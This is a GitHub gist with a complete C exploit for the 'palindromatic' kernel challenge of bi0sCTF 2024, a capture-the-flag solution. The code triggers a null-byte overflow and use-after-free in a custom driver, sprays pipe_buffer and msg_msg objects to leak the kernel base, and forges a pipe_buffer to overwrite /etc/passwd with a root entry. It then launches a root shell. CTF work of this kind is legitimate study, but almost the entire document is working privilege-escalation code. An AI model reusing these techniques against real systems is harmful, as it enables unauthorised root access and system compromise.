Skip to content

Instantly share code, notes, and snippets.

@k1R4
Created February 26, 2024 13:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k1R4/bf302fffc2bd5e313a0f7ad789fbd363 to your computer and use it in GitHub Desktop.
Save k1R4/bf302fffc2bd5e313a0f7ad789fbd363 to your computer and use it in GitHub Desktop.
palindromatic - bi0sCTF 2024
#define _GNU_SOURCE
#include <string.h>
#include <stdarg.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/msg.h>
#define DEVICE "/dev/palindromatic"
#define TARGET "/etc/passwd"
#define PAYLOAD "root:$1$N2mheFz2$QGPDmRPMD9iEdKq0glrhM0:0:0:root:/root:/bin/sh"
typedef unsigned long u64;
typedef unsigned int u32;
typedef unsigned short u16;
typedef unsigned char u8;
typedef struct
{
long mtype;
char mtext[];
} msg;
typedef struct pipe_buffer
{
void *page;
unsigned int offset, len;
void *ops;
unsigned int flags;
unsigned long private;
} pipe_buffer;
typedef struct arg_t
{
char *buffer;
} arg_t;
enum : unsigned int
{
QUEUE = 0xb10500a,
SANITIZE,
RESET,
PROCESS,
REAP,
QUERY
};
int ctr = 0;
int pipes[0x200][2];
char buffer[0x2000];
int spray[0x200];
u64 leaks[0x400];
int dfd;
void error(char *msg)
{
perror(msg);
exit(1);
}
void setaff(int cpu)
{
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(cpu, &my_set);
if(sched_setaffinity(0, sizeof(cpu_set_t), &my_set) < 0) error("sched_setaffinity");
printf("[*] Pinned to CPU #%d\n", cpu);
}
void open_device()
{
dfd = open(DEVICE, O_RDWR);
if(dfd < 0) error("open");
printf("[*] Opened device %s, fd: %d\n", DEVICE, dfd);
}
void hexdump(unsigned long *buf, int size)
{
for(int i = 0; i < size; i++)
printf(" %04x - %#lx\n", i*8, *(buf+i));
}
void spray_pipe(int amt, const char *buf)
{
for(int i = 0; i < amt; i++)
{
pipe(pipes[ctr]);
write(pipes[ctr++][1], buf, strlen(buf));
}
}
void spray_msg(int amt)
{
msg *ms = (msg *)&buffer;
memset(buffer, 0x7f, sizeof(buffer));
for (int i = 0; i < amt; i++)
{
spray[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (spray[i] < 0)
error("msgget");
ms->mtype = i + 1;
if(msgsnd(spray[i], buffer, 0xfc8+0x400, 0) < 0)
error("msgnd");
}
}
int setup(void)
{
puts("================================ Setup Phase ================================");
setaff(0);
open_device();
int fd = open(TARGET, O_RDONLY);
if(fd < 1) error("open");
printf("[*] Target file: %s, fd: %d\n", TARGET, fd);
return fd;
}
void stage1(void)
{
arg_t arg;
memset(buffer, 0x42, 0x1000);
arg.buffer = buffer;
puts("================================== Stage 1 ===================================");
puts("[*] Spraying requests");
for(int i = 0; i < 0x100; i++)
if(ioctl(dfd, QUEUE, &arg) < 0)
error("ioctl::queue");
puts("[*] Triggering null byte overflow");
if(ioctl(dfd, SANITIZE, NULL) < 0)
error("ioctl::sanitize");
int cap = ioctl(dfd, QUERY, NULL) & 0xffff;
do
{
if(ioctl(dfd, PROCESS, NULL) < 0)
{
puts("[-] Failed to find corrupted request!");
exit(1);
}
}
while(cap++ != (ioctl(dfd, QUERY, NULL)&0xffff));
printf("[+] Found UAF request in positon #%d\n", 0x100-cap);
puts("[*] Resetting request to start of queue");
ioctl(dfd, RESET, NULL);
puts("[*] Reaping all requests to free them");
for(int i = 0; i < 0x100-cap; i++) ioctl(dfd, PROCESS, NULL);
for(int i = 0; i < 0x100; i++) ioctl(dfd, REAP, NULL);
puts("[*] Stage 1 complete!");
}
int stage2(void)
{
int victim = -1;
puts("================================== Stage 2 ===================================");
puts("[*] Spraying pipe_buffers");
spray_pipe(0x160, "AA");
puts("[*] Triggering free of victim through double reset");
ioctl(dfd, RESET, NULL);
ioctl(dfd, RESET, NULL);
puts("[*] Spraying pipe_buffers to catch victim");
spray_pipe(0x20, "BB");
for(int i = 0; i < 0x160; i++)
{
char c;
read(pipes[i][0], &c, 1);
if(c == 'B')
{
printf("[+] Found victim pipe: %d\n", pipes[i][1]);
victim = i;
}
}
if(victim == -1) error("Unable to trigger UAF");
puts("[*] Freeing all pipe_buffers");
for(int i = 0; i < 0x180; i++)
{
if(i == victim) continue;
read(pipes[i][0], buffer, 1);
close(pipes[i][0]);
close(pipes[i][1]);
}
puts("[*] Stage 2 complete");
return victim;
}
void stage3(int victim, int fd)
{
pipe_buffer fake_pipe;
memset(&fake_pipe, 0, sizeof(fake_pipe));
loff_t offset = 1;
puts("================================== Stage 3 ===================================");
puts("[*] Spraying msg_msgseg to overlap with victim pipe_buffer");
spray_msg(0x180);
puts("[*] Splicing victim pipe to add pipe_buffer to ring");
if(splice(fd, &offset, pipes[victim][1], NULL, 1, 0) < 0)
error("splice");
puts("[*] Trying to get leaks with msgrcv");
for(int i = 0; i < 0x180; i++)
{
if(msgrcv(spray[i], leaks, 0xfc8+0x400, 0, IPC_NOWAIT | MSG_NOERROR) < 0)
error("msgrcv");
if(leaks[0xff8/8] != 0x7f7f7f7f7f7f7f7f)
{
puts("[*] Found overlapping msg_msgseg and pipe_buffer");
memcpy(&fake_pipe, &leaks[0xff8/8], sizeof(pipe_buffer));
fake_pipe.flags = 0x10;
fake_pipe.offset = 0;
fake_pipe.len = 0;
printf("[+] Base => %#lx\n", leaks[0x1008/8]-0x12205e0);
puts("[*] fake pipe_buffer: ");
hexdump((unsigned long *)&fake_pipe, sizeof(fake_pipe)/8);
break;
}
}
if(fake_pipe.flags != 0x10) error("Unable to get leaks");
puts("[*] Spraying msg_msgseg with fake pipe_buffer");
msg *ms = (msg *)&buffer;
memset(buffer, 0x0, sizeof(buffer));
memcpy(buffer+0xfc8+0x30, &fake_pipe, sizeof(fake_pipe));
for (int i = 0; i < 0x180; i++)
{
ms->mtype = i + 1;
if(msgsnd(spray[i], ms, 0xfc8+0x400, 0) < 0)
error("msgnd");
}
puts("[*] Stage 3 complete");
}
void final(int victim, int fd)
{
char hax[0x80];
memset(hax, 0, sizeof(hax));
strcpy(hax, PAYLOAD);
puts("================================ Final Phase =================================");
puts("[*] Trying to overwrite /etc/passwd");
write(pipes[victim][1], hax, sizeof(hax));
printf("[*] Checking contents of %s:\n ", TARGET);
if(read(fd, buffer, 0x40) < 0)
error("read");
puts(buffer);
if(buffer[5] == 'x')
{
puts("[-] Exploit failed!");
exit(1);
}
else puts("[+] Exploit successful!");
if(!fork())
{
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
}
sleep(0x1000);
}
int main()
{
int victim, target;
target = setup();
stage1();
victim = stage2();
stage3(victim, target);
final(victim, target);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment